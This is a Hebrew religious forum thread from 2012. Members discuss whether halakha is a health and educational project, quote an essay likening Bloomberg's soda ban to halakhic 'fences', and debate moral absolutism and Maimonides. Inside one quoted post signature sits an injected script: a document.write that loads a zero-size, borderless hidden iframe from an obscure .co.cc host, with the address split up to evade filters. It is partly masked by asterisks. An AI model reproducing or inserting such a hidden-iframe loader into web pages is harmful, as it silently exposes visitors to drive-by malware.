| נשלח ב-13/6/2012 11:22 |
 |
| |
ההלכה כפרוייקט בריאותי
מה מטרת ההלכה? מהי מטרת התורה?
מבין התשובות הרבות שניתנו לשאלות אלו, גם בפורום שלנו, מוכרת היטב תשובתו של הרמב"ם: התורה היא פרוייקט חינוכי שמטרתו להביא לשלימות האדם. שלימות חברתית. שלימות של בריאות. שלימות של מידות. שלימות של חכמה.
ואם אזכיר את מייסד הפורום שלנו, וטו, ואת רבו, אזי בא וטו והעמידן על אחת: התאמה. מה מתאים לאדם. מה מפתח את האדם.
כאן יש סתירה יסודית. מה חשוב יותר? חירותו של האדם לעצב את עצמו כפי הבנתו, או עיצובו בצורה המתאימה ביותר? יש כאן שני ערכים שעלולים להתנגש. במקרה כזה, מה נדחה מפני מה?
התשובה המודרנית לשאלה האחרונה תהיה שיש להניח לאדם לעשות כל שברצונו כל עוד אין הוא פוגע בזולתו וכל עוד הוא אחראי למעשיו (ואנא, לא ניכנס לשאלה איך מזהים זאת ומה הגבולות. אפשר אולי אחר כך, אם זה חשוב).
מה שכן לענינו של אשכול הוא שההלכה כפי שפירשוה חכמים לוקחת אחריות על האדם ומונעת ממנו "להשתולל" ולהזיק לעצמו.
יש דוגמאות לדבר מן התורה ויש מדרבנן. אני מזכיר שתים ויש הרבה. למעשה, לפי הרמב"ם (ווטו) כולן כאלו:
מצות מעקה. כאשר יש קומה גבוהה שנפילה ממנה מביאה לידי סכנה, יש לבנות לה מעקה סביב. במה דברים אמורים, במקום שמשמש את האדם ולכן יהיו בו בני אדם שיכולים לבוא לידי סיכון. הרעיון הזה בולט במיוחד לפי ההסבר של החזו"א, שסתם אדם יודע להיזהר מקצה הגג, אבל התורה מלמדת לחשוש למקרים יוצאי דופן.
בדומה לדבר, איסור ייחוד. (אני סבור כהרמב"ם שכל כולו מדרבנן). אסור לאדם להתייחד עם אשה זרה שמא יבואו לכלל עבירה. כלומר, סוגרים דלתות בפני הפיתוי החזק ביותר שקיים אצל האדם.
והנה, גם בעולם הפוסט מודרני הגישה הזו זוכה לעדנה.
אני מעתיק את מאמרו של תומר פרסיקו, בדילוגים
***
אחרי שראש עריית ניו-יורק מייקל בלומברג אסר על עישון כמעט בכל מקום חוץ מביתו הפרטי של המעשן, ואחרי שאסר גם על מכירת מאכלים הרוויים בשומן טראנס במסעדות, התבשרנו לפני שבוע שהוא מתכוון גם לאסור על מכירת משקאות ממותקים בכוסות הגדולות מ 470 מ"ל (בערך) במסעדות, בתי קולנוע, אצטדיונים ועוד. תושבי העיר עדיין יהיו יכולים לקנות שתי כוסות קטנות יותר של אותם משקאות, אבל כוס אחת גדולה – לא. בלומברג איתן בדעתו לדאוג באופן פטרוני לבריאותם של תושבי עירו, בין אם יאהבו את זה ובין אם לא. והם אכן לא ממש אוהבים את זה. התקנה החדשה שהוא מעוניין לתקן בעירו נתקלה בתגובה קשה מצד תושביה. היו שכינו אותה "רודנות", ואילו מאמר המערכת של הניו-יורק טיימס השתמש, כדי לתאר אותה, במילה "גננוּת" (nannying). זעקתם של תושבי העיר מובנת: הם בסך הכל רוצים לבחור בעצמם אם לגמוע סוכר לרוויה או לא, או כפי שניסחה זאת אחת מהם: "אני מצטערת, אבל אם אתה רוצה להיות שמן מאוד (obese), אתה רוצה להיות שמן מאוד." רצונו של אדם משמניו, אם כי קשה להאמין שמספרים ניכרים מאלה ששותים משקאות מסוכרים אכן רוצים להיות שמנים מאוד. נדמה לי שהם פשוט רוצים שיהיה להם מתוק בפה. המהלכים האחרונים של בלומברג משקפים אופנה חדשה בארה"ב שבמסגרתה מחוקקים חוקים שמיועדים להגן על הציבור מפני עצמו, וליתר דיוק להילחם בתופעת השמנת היתר שתופחת בארה"ב למימדים בהחלט לא בריאים. כך בלוס-אנג'לס מועצת העיר אישרה לפני כשנתיים תקנה האוסרת על פתיחת מזללות מזון מהיר בדרום העיר, כלומר באזור העני של העיר, שבו האפשרויות לאכול מזון משמין וזול גרמו לתושביו בעיות בריאותיות רבות, ובאותו זמן בערך נחקק חוק האוסר על מכירת צעצועים במסגרת "ארוחות ילדים" שבהן יותר מ-600 קלוריות. הגבלת החופש במקרים אלה ("אנחנו לא חושבים שבקהילה שלנו צריכות להיות 10, 15 או 18 דרכים לאכילת המבורגר") מיועדת לשמור על הציבור מפני עצמו, והנימוקים גם כאן הם בריאותיים. השאלה היא עד כמה יש למדינה זכות להתייחס אל אזרחיה כמו אל ילדים. בכל חברה יש חוקים, זה ברור, אבל התקנות לעיל מבוססות על ההנחה שהאדם המבוגר אינו יכול לבדו לדאוג לעצמו. במילים אחרות, התפיסה הבסיסית היא שיהיו פיתויים שאם יוצגו בפני אדם ממוצע הוא יכנע להם, גם תוך ידיעה ברורה שהוא פוגע בעצמו. על כן יש לדאוג שפיתויים כגון אלה פשוט לא יוצגו בפניו. עשה סייג לשומן מה שמעניין הוא שההגיון כאן משקף את ההגיון שחוקים הלכתיים רבים בנויים על גביו, דהיינו הצבת גבולות לאדם על מנת שלא יזיק לעצמו. חוקים אלה גם הם מבוססים על ההנחה שאם גבול ברור (וקדוש) לא יוצב בפניו, אותו אדם לא יכול שלא להתפתות ולפגוע בעצמו (אני כמובן מתעלם לרגע מהמשמעויות הדתיות של המצוות). נדמה לי שאם נהיה כנים לגמרי נודה שזה אכן המצב. אם השבת לא מעוגנת במגוון של הלכות, היא לא יכולה שלא לאבד מאופייה הספציפי כ"ארמון בזמן" שלא עונים בו למיילים. קשה לנו מדי לתרץ לעצמנו למה המנוחה שלנו חייבת לכלול הימנעות מכך, והתירוץ החסר הזה גורר אחריו חוסר מנוחה. בתקנות שהוא מתקן הולך אם כן בלומברג בדרכה של ההלכה, ומציג גבולות לבחירותיו של הפרט. אמנם, הוא לא מתרץ זאת בנימוקים דתיים, אלא בריאותיים – המדינה חדלה זה כמה מאות שנים להכפיף את אזרחיה לתפיסה דתית מסויימת, והיום יש לנמק את עצמנו בצורה רציונלית (שלא לומר פיסקלית). אולם מדובר בכל זאת באותה תפיסה עקרונית: אדם ללא גבולות הנכפים עליו מבחוץ מועד להזיק לעצמו.
על אוטונומיה ומחוייבות אבל מה על האוטונומיה של הפרט? האם אין אובדנה מחיר יקר מדי עבור ההימנעות מהשמנת יתר? האם אין התפיסה שאנחנו יצורים תבוניים, אחראיים ובעלי חופש לבחירת גורלנו מהיסודות העמוקים ביותר של זהותנו כבני אדם? האם אין התקנות הבלומברגיות מערערות את התפיסה הזאת בצורה חריפה מדי? כדי לבחון את השאלה הזאת ראוי לשים לב שבמגוון תחומים אנחנו מצדיקים את צמצום אפשרות הבחירה שלנו. אולי אנחנו חושבים, למשל, שטוב שהמדינה מגבילה את זכותו של אדם שלא להזריק לכלבו חיסון נגד כלבת, או כן להזריק לעצמו הירואין. ייתכן שאנחנו גם חושבים שטוב שהמדינה מחוקקת חוקים המגבילים את חופש הבחירה בנוגע למינו של התינוק שבני זוג מתכננים להוליד. ויחד עם זאת, המחשבה שיגבילו את האפשרות שלנו להתפתות קשה לנו במיוחד. עמנואל לוינס מדבר על זה תחת הכותרת "הפיתוי של הפיתוי". הפיתוי של הפיתוי "מתאר אולי את מצבו של האדם המערבי [...] הוא שואף לחיים פתוחים: הוא צמא לנסות את הכל, לחוות את הכל" ('תשע קריאות תלמודיות', עמ' 38). לוינס מבהיר שעוד יותר מעצם ההתנסות בפיתוי, הפיתוי של הפיתוי הוא החדווה שאנחנו מוצאים באפשרות להתפתות, בחופש שיש לנו לבחור האם לגלוש במורד או להתגבר על היצר. על פי לוינס האדם המערבי מאוהב באפשרות לבחור האם לחטוא או להתעלות על עצמו. ההתגברות על הפיתוי של הפיתוי הוא "החירות הקשה" שמציעה, על פי לוינס, היהדות. המחוייבות לגבול, לאותו גבול שמונע מאיתנו את האפשרות הבלתי מוגבלת להתפתות. יש, אמנם, עוד אפשרויות מוגבלות להתפתות. יש פיתויים, אך אין את הפיתוי של הפיתוי, מפני שהאפשרויות הן מראש מוגבלות. אבל חשוב יותר מזה: הגבלת האפשרויות הופכת אותנו לבעלי אחריות; ההגבלה הזאת על עצמנו היא שמכוננת את המחוייבות שלנו לעצמנו ולזולת. "ההתגברות על פיתוי הפיתוי משמעה אולי ההליכה בעצמך רחוק יותר מאשר אל עצמך" כותב לוינס (שם, עמ' 40). ההליכה מעבר לעצמנו פירושה המחוייבות שלנו אל הזולת והאחריות שלנו על עצמנו. האגו תופס את עצמו בהקשר, ומתפכח מאשליית בידודו וחירותו המוחלטים. ואכן, כל צורה של חופש או אוטונומיה קיצוניים היא תמיד הכחשה של מחוייבות. כל צורה של מחוייבות היא תמיד הגבלה של האפשרויות העומדות בפנינו. כניסתו של אדם לסד של גבול היא היא כניסתו למחוייבות, ולהפך. ה"גננות" או ה"רודנות" שמציע ראש עריית ניו-יורק הינה, אם כן, לא יותר מאשר ההכרה במצב התמידי שלנו כבני אדם מחוייבים. אנחנו מעולם לא היינו לבד, חסרי אחריות. אנחנו מראש ותמיד מחוייבים לזולת ולעצמנו. המחוייבות הזאת נגזרת ומתחייבת מצמצום האפשרויות העומדות לפנינו, מצמצום הפיתוי של הפיתוי. כרגע, אמנם, המחוייבות הזאת נכפית על תושבי ניו-יורק הר כגיגית. אולם אם יבחרו בבלומברג לכהונה נוספת יהיה אפשר לומר ש"קיימו וקיבלו" אותה ממש. חוסר אפשרות הבחירה שלהם לאכול שומן טראנס או לשתות המון סוכר יהיה אז לא רק הגנה מפני סכנות בריאותיות, אלא גם יתרום לעיצובם כבני אדם אחראיים. http://tomerpersico.com/2012/06/13/halacha_and_the_city/
***
ואיך אפשר בלי תודה מיוחדת לספרן, שגילה את הפנינה הזו ולינקק לה באשכול הכתבות.
 |
|
|
|
|
| נשלח ב-1/7/2012 16:43 |
|
| |
מפרשת קורח
יז,ט וידבר י-הוה, אל-משה לאמר. יז,י הרמו, מתוך העדה הזאת, ואכלה אתם, כרגע; ויפלו, על-פניהם. יז,יא ויאמר משה אל-אהרן, קח את-המחתה ותן-עליה אש מעל המזבח ושים קטרת, והולך מהרה אל-העדה, וכפר עליהם: כי-יצא הקצף מלפני י-הוה, החל הנגף. יז,יב ויקח אהרן כאשר דבר משה, וירץ אל-תוך הקהל, והנה החל הנגף, בעם; ויתן, את-הקטרת, ויכפר, על-העם. יז,יג ויעמד בין-המתים, ובין החיים; ותעצר, המגפה. יז,יד ויהיו, המתים במגפה, ארבעה עשר אלף, ושבע מאות--מלבד המתים, על-דבר-קרח. יז,טו וישב אהרן אל-משה, אל-פתח אהל מועד; והמגפה, נעצרה.
|
|
|
|
| נשלח ב-27/6/2012 05:10 |
|
| |
ירוחם
אכן טעמי המצוות זהו מדרון חלקלק. ברוב המצוות התורה לא גילתה מה הטעם ומה שנשאר לנו זה רק לנחש. יש מקום להמציא שטויות, טעם שאקטואלי בזמן מסויים יאבד מטעמו בזמן אחר, טעם שמדבר אלי לא בהכרח מדבר אליך וכו'
הנקודה העיקרית היא שיש טעם כללי שהתורה גילתה לנו והוא: שלמות האדם.
|
|
|
|
|
| נשלח ב-15/6/2012 16:16 |
|
| |
יהי 1. טענת שכפיה אינה יעילה, וזה אינו נכון בדרך כלל מחוץ להקצנה 2. איני רואה את ההבדל העקרוני בין שימוש בשכל להשגת יתרון שאין לו סיבה מלבד השכל לשימוש בכח
|
|
|
|
| נשלח ב-15/6/2012 09:41 |
|
| |
ל1- נכון, הקצנתי בשביל להדגים את העיקרון.
ל2- איני מבין מה הסתירה בין שני המשפטים שלי. אבל במסחר, הרי הכל תלוי כפי כללי המשחק. גזל הוא גזל כי זה כלל במשחק, וכו' וכו'. אין כאן אבסולוטיות אלא הסכמת בנ"א. [המוסר האבסולוטי הוא זה גופא שאתה לא יכול לחרוג מכללי המשחק]
|
|
|
|
| נשלח ב-15/6/2012 09:38 |
|
| |
1. לא על כל דבר אתה צריך למסור נפשך שמא תבזבז אותה במהירות 2. כתבת קודם "גם אם המוסר אבסולוטי מה מחייב אותי לקיים אותו" ועתה כללי המשחק קדושים?
|
|
|
|
| נשלח ב-15/6/2012 08:17 |
|
| |
תלמיד
אם אתה חזק ממני אתה יכול להשתמש באלימות. אבל לי יש עדיין חובה מוסרית למסור את נפשי ולא להתפעל מזה. וממילא שימוש בכח לא יעיל.
שימוש בשכל יותר מוסרי כי אם גם אתה תבין שזה ככה הרי אני לא כופה אותך רק מלמד אותך. בהקשרים עסקיים אלו הם כללי המשחק, משא"כ שימוש בכח. ויל"ע. [וע"ע לא תחמוד וכו']
|
|
|
|
| נשלח ב-14/6/2012 22:00 |
|
| |
יהי "אבל [חוץ מלחנך וללמד אותך שתבין בעצמך] אין לי אפשרות לעשות את זה, כי חובתך המוסרית לא להקשיב לי. " לא הבנתיך. אם אני חזק ממך? ושאלה מעצבנת לשיטתך – היום נחשב כלא מוסרי לקחת ממישהו בחזקה. אבל נחשב הרבה פחות לא מוסרי לקחת בשימוש טוב יותר בשכל (ואין הכוונמה לערמה, אלא לעיסקה שבה אני מהמר יותר טוב על תוצאותיה כי אנ י חכם יותר). מדוע שימוש בשכל מוסרי יותר. אבל יצאנו מתוכן האשכול
|
|
|
|
| נשלח ב-14/6/2012 21:01 |
|
| |
מבקש טוב
למצוא למצוות טעם זה מדרון חלקלק. הטעם של אתמול לא יהיה אקטואלי היום, ושל היום לא יהיה אקטואלי מחר.
בין המצוות עם הטעם האבסולוטי של לא תרצח. -זה גם לא מוחלט.
|
|
|
|
| נשלח ב-14/6/2012 19:03 |
|
| |
הבהרה: ב"זכות" כוונתי בעיקר ליכולת/כח. יכול להיות עדיין שאם אני אוחז בשיטה מוסרית מסוימת שיש לי רשות או אולי גם חובה מוסרית לנסות לגרום גם לך להתנהג כך. אבל [חוץ מלחנך וללמד אותך שתבין בעצמך] אין לי אפשרות לעשות את זה, כי חובתך המוסרית לא להקשיב לי.
[ואגב, או לא אגב, הפאשיזם הוא במהותו שיטה אנטי-מוסרית, שיטה שדוגלת בכח. אז איני יודע אם השאלה ממנה נכונה בכלל.
תוקן על ידי יהיאור ב- 14/06/2012 19:05:51
|
|
|
|
| נשלח ב-14/6/2012 18:48 |
|
| |
| תלמידטועה כתב: |  |
יהי אם החיוב המוסרי הבסיסי הוא לנהוג לפי מה שאני חושב לנכון אזי הפאשיסטים הקיצוניים וןכל כופר ממחשבה הוא בסדר, והם לפעמים (אם הם פאשיסטים מושבעים) טובים יותר מדתי ממוצע שפה ושם חוטא בליקוק קרטיב בהכשר רבנות כפר אלפא |
|
תלמיד
יש כאן בלבול בין שאלת מקור החיוב המוסרי ואופן אימוץ דרך מוסרי אצל האדם, עם שאלת הרליטיביות של המוסר.
גם אם המוסר אבסולוטי, [וממילא הפשיזים במהותו לא מוסרי] מה מחייב אותי לקיים אותו? זה שאתה חושב שזה המוסרי? בוודאי שהאדם מחויב לעשות את מה שהוא מזהה כנכון וטוב ולא ללכת אחרי מה שאומרים אחרים.
לשיטת האבסולוטים, יש לפשיסטים רק טעות מושגית [הם חושבים שזה נכון], ולא טעות מוסרית [הם באמת מיישמים מה שהם חושבים] משא"כ לדתי המחפף, אין טעות מושגית, אבל יש בעיה יישומית [שזה בעצם המוסר]. אז אכן הוא פחות מוסרי.
אני לא אומר שאין מוסר רק איש הישר בעיניו יעשה. אני כן אומר שמה שלא יהיה המוסר, אין שום סיבה לקיימו אלא כי היא נראית לי נכונה. וממילא אין שום טעם שאני אכפה עליך מה שנראה לי . [יש לי זכות להגן על עצמי מפניך אם אתה נאצי, אבל לא לכפות עליך לא להיות נאצי אם אתה באמת חושב שזה מה שצריך להיות]
|
|
|
|
| נשלח ב-14/6/2012 17:23 |
|
| |
ירוחםמעניין ששני אנשים, מאותה מדינה, שמדברים אותה שפה, מבינים באופן שונה מילים מסוימות... אספר לך איך אני רואה את הדברים: א. טוב יש טוב ויש טוב חלקי. אנשים לפעמים אומרים על משהו מהנה, לדוגמא: אוכל טעים, שהוא טוב. יתכן שהאוכל הזה הוא לא בריא אך כוונתם שהטעם שלו טוב. אם נשאל אותם האם במכלול האוכל טוב? הם יודו שמצד אחד הוא טוב – בטעם, ומצד שני הוא רע – מזיק לגוף. לזה אני קורא טוב חלקי. ויש טוב שהוא טוב מכל הצדדים. לדוגמא: אוכל שהוא גם בריא וגם טעים. אז תגיד לי, אבל אוכל עולה כסף וגורם להפסד?! נו, אז הוא לא ממש טוב מכל הצדדים אבל הוא כבר יותר טוב מהדוגמא הראשונה.
האם יש בעולמנו טוב מכל הצדדים - 100% טוב? אני חושב שכן. אני חושב שהתורה מכוונת אותנו אל הטוב המושלם (במושגים שלנו). טוב ביחס לאדם משמעותו - אדם שלם שכל הצרכים שלו מסופקים באיזון. לא באופן שצורך אחד יסופק על חשבון צורך אחר. לשם מובילה התורה.
בטבע, באינסטינקט, בדרך כלל חלק מהצרכים גוברים ומקפחים צרכים אחרים.
ב. חינוך חינוך טוב (הרי ב"חינוכי" אנו לא מתכוונים לחינוך רע) זהו חינוך שמחנך/מרגיל/מכוון את החניך, נגד האינסטינקט, לסיפוק מלא ומאוזן של כל צרכיו. זה מה שהתורה עושה ולכן אני אומר שהתורה חינוכית. "הלכה ואין מורין כן" לא בדקתי את הנושא כדי הצורך, אני מניח שזו הלכה שלא נועדה לפרסום נרחב מסיבה מסוימת (ויכולות להיות הרבה סיבות). לדוג' הבועל ארמית קנאים פוגעים. אולי אם אתה הולך לשאול רב ואתה צריך שיורו לך לעשות כך, כבר אינך קנאי ואיבדנו את המהות של ההלכה "קנאים פוגעים בו". לכן אין מורין כן. זהו פרט בתורה שצריך לבוא לאדם לבד. אין זה תפקידם של מחנכיו.
ג. מוסר בלי להיכנס לפרטים קטנים ולוויכוחים גדולים שהיו בהיסטוריה על הגדרת המושג.
הרעיון הכללי הוא: לעשות טוב (טוב – כבר הגדרנו) לאחרים ולהימנע מלפגוע בם. "ואהבת לרעך כמוך ר' עקיבא אומר זהו כלל גדול בתורה" ירושלמי נדרים פר' ט'. מה משיגים כשעושים טוב לאחרים?
סיפוק חלק מהצרכים של האדם; מצפון, חיי חברה, שיתופי פעולה ועוד. מה מוסרי? מתי? איך? איפה? עד כמה? אלו שאלות גדולות ונכבדות. יש יוצא מן הכלל, יש גבולות, והתורה עוסקת בהם לעיתים קרובות. אני לא מסכים ש"את המוסר קובעת החברה לפי הרגשות של חבריה". המוסר נקבע על פי השכל מתוך התחשבות ברגשות. כתבת על עמלק וכדומה.
המטרה היא להתחשב בכל הצרכים של האדם ולספק כל צורך במידה הראויה לו. לפעמים המוסריות עוברת את הגבול הנדרש לשלמות האדם ופוגעת בצרכים אחרים. כנראה שזו הסיטואציה עם עמלק ושאר הדוגמאות. (עכשיו נשאר להבין מדוע התורה טוענת ,בכל דוגמא שהבאת, שהיא עוברת את גבול המוסר. ולהבדיל אפשר לבדוק מדוע הנאצים טוענים שהריגת יהודים חורגת מגבול המוסר, ולבדוק האם זה מתקבל על הדעת)
~~~~~
שאלת על ברית מילה וגיד הנשה ובעצם אפשר לשאול אותה השאלה על כל המצוות. אף פעם לא למדתי את טעמי המצוות של כל מצווה בעיון, למדתי יותר באופן כללי וכמובן אין לדבר סוף. אבל נראה לי שזה אומר משהו שרק על פרה אדומה נאמר "אין להרהר אחריה". ואני לא מכיר אף אדם שעושה משהו בלי טעם. (טעם טוב או לא... אבל תמיד יש טעם)
|
|
|
|
|
| נשלח ב-14/6/2012 12:33 |
|
| |
| מבקשטוב כתב: | | ירוחם
התבלבלתי (וכנראה לא רק אני). כתבת:
" השאלה שנשאלה אם התורה חינוכית- ועל זה- בלי להכנס לנכון או לא נכון לנהוג כך,-הסיפור לא חינוכי"
איך אפשר לא להיכנס לנכון או לא נכון, הלא אם זה נכון זה חינוכי ואם זה לא נכון זה לא חינוכי?
אני מבין שכשאנו מדברים על חינוכי אנו מדברים על חינוך לעשיית הדבר הנכון. אז איך אתה מבין את המושג 'חינוכי'
לא נכון לא כל דבר טוב הוא חינוכי ולהפך,הגמרא אומרת-הבועל ארמית קנאים פוגעים בו- הלכה היא ואין מורין כך-
שאול נקרע בנפשו לכן זה אומר שזה לא מוסרי/חינוכי?
לפעמים עשיית המעשה הראוי קשה מבחינה רגשית. אתה רוצה לטעון שהרגש הוא הקובע מה מוסרי?
את המוסר קובעת החברה לפי הרגשות של חבריה, הגרמנים והפולנים ששרפו את משפחתי- לא חשבו שהם עושים מעשה לא מוסרי, הם פעלו במסגרת החוק.
ועוד כתבת:
" כל חוקה נועדה להיטיב עם מקבליה, וגם התורה ודאי שכך. על זה אין כל ויכוח.
השאלה אם החוקים חינוכים? מוסריים? בראים?"
כמו שהבנתי עד היום את השפה העברית אם משהו הוא לא חינוכי/מוסרי/בריא הוא גם בהכרח לא טוב. ואם אתה מסכים שהתורה נועדה להיטיב עם מקבליה מוכרח שהיא חינוכית מוסרית ובריאותית.
ושוב קביעתך לא נכונה יכול להיות כאמור מעשה מאד לא בריא אבל יחנכו לעשות זאת. וכן מעשה לא טוב וחינוכי.
אומרים- כל מה שטוב וטעים וגורם עונג- או שהוא לא בריא או שהוא משמין או שהוא לא כשר.
לסיכום: נראה לי שיש בינינו חוסר התאמה בהבנת המושגים: חינוכי, מוסרי, בריאותי וטוב.ואגב, גזרה גזרתי וכו' נאמר רק על פרה אדומה, לא?
אכן נאמר רק על פרה אדומה- אבל לע"ד מתאימה לכל התורה, מה הטעם למשל- לברית מילה? לגיד הנשה?
ולגבי חוקי התעבורה, זו פגיעה בזכויות הפרט שדואגים לו למערכת כבישים מסודרת למנוע כמה שאפשר תאונות, מריבות (מי קודם) ופקקים?
בדיוק כך- חוק שעל פניו מהווה מטרד ולפעמים מאד מפריע ולא טוב לפרט - בסופו של דבר הוא חיוני מאד. |
|
|
|
|
|
|
| נשלח ב-14/6/2012 11:57 |
|
| |
| מיימוני כתב: | | רציוסקפטי
בתור פותח האשכול אני משיב על חלק מדבריך האחרונים.
היכן בדברי הרמב"ם בהלכות מזוזה מצאת שהוא מתנגד לתפיסת התורה כפרוייקט חינוכי, שדואג גם לבריאות?
האם כוונתך למה שהרמב"ם יוצא נגד כתיבת שמות על מזוזה לשם "שמירה"?
מצד שני הרמב"ם כותב גם שכיון שאדם נתקל במזוזה בצאתו ובבואו, זה מזכיר לו את ה'. עם כל מה שאמור לנבוע מזה.
הווה אומר: יש תזכורות שהן משובחות ותורמות ל"בריאות" במובן הרחב (בריאות הגוף היא רק פן אחד מכמה שלמויות שהתורה שואפת לקראתן) ויש תזכורות שהן שליליות, בין השאר בגלל שהן, התזכורות השליליות, עסוקות באויבים דמיוניים, כמו שדים ורוחות או הסטרא אחרא.
לכן העושה מצוות כדי שישפר את אישיותו - לפי התורה - הרי זה משובח. העושה מצוות כדי להילחם נגד הסטרא אחרא הרי זה טועה וגרוע מזה, והרמב"ם מונה אותו בין הטפשים (נכון, הרמב"ם לא התייחס במפורשות למאמיני הסטרא אחרא. האמונה הזו עדיין לא היתה קיימת בזמנו - לדעתי. אבל הוא אבינו הרוחני בהתנגדות זו להבל ולדמיון, שמוליכים למגיה ולעבודה זרה).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אתה צודק, אכן במורה נבוכים ג מח הוא כותב שאיסור אכילת חזיר הוא כי "ואין הדבר כך, כי החזיר לח יותר ממה שראוי והפסולת שלו מרובה. התורה מואסת בו בעיקר בגלל לכלוכו הרב והיותו ניזון מלכלוכים. יודע אתה כמה מונעת התורה ראיית זוהמה אפילו בבקעה, במחנה9, כל שכּן בתוך הערים. ולו היו נוטלים חזירים כמזון, היו השווקים, ואף הבתים, מלוכלכים יותר מבית-הכסא כמו שאתה רואה את ארצות הפרַנקים10 עכשיו. יודע אתה את דברם (של החכמים) ז"ל: פי חזיר כצואה עוברת דמי11"
איפה העקביות? ונראה די"ל דיש מצוות שטעמן אינדוקטרינטיבי והן מהותיות יחסית, כמו מזוזה, ויש מצוות שמהוות רק היכי תמצי לקיום חברה נקייה ונעימה, כמו בשר וחלב או חזיר, והוא יוצא רק נגד ייחוס המצוות המהותיות לטעמים לא ענייניים. ודו"ק.
(מישהו שביקר בארצות הפרנקים (מערב אירופה) יכול לדווח לנו על ריח בית הכסא בשווקיהם ובבתיהם? מעניין. ועוד מעניין מדוע חשב הרמב"ם שלפרות יש ריח גן עדן... אולי הוא למד מהשקיות של תנובה שפרה היא יצור חמוד ונקי. ר' המאמר "דיפרנציאציה אונטולוגית בין ריח החזיר לריח הפרה ע"פ הרמב"ם")
תוקן על ידי רציוסקפטי ב- 14/06/2012 12:07:48
|
|
|
|
| נשלח ב-14/6/2012 11:07 |
|
| |
צענע
לא קראתי את כל הניתוח וזה חמור מצידי. אשתדל למלא את החסר.
אבל כמדומה שאין שם הוכחות במובן שאפשר להוכיח שהארץ כדורית, שנפוליאון היה ונברא, ואפילו שדוד בן ישי היה מלך בישראל.
לפי הקטע שציטטת דומה שיש שם ניתוח של עדויות. ובדבר זה ייתכנו גישות שונות. שלי מניחה אפריורית (אולי בחוסר זהירות) שאין שם שדים.
אני מצטט את יום שאמנם כתב זאת על אפשרות הנס. יש לקבל שיש שדים רק אם יהיו הוכחות כאלו שכל פתרון אחר, מלבד הכרה במציאותם, יהיה זר ומוזר עוד יותר.
זו גישתי. כמובן אני יכול להמליץ עליה אבל לא לחייב אחרים לאמץ אותה.
(האם מיכי באמת מאמין שיש שדים?)
|
|
|
|
| נשלח ב-14/6/2012 10:51 |
|
| |
בעב א. – לדעתי את הדפים ב. – חושבני שגם הר"מ חשב כך והשלב הידיעתי הוא שלב ראשון וחושבני שניתן להראות זאת בר"מ (אבל לא בעונה הבוערת שלי!)
|
|
|
|
|
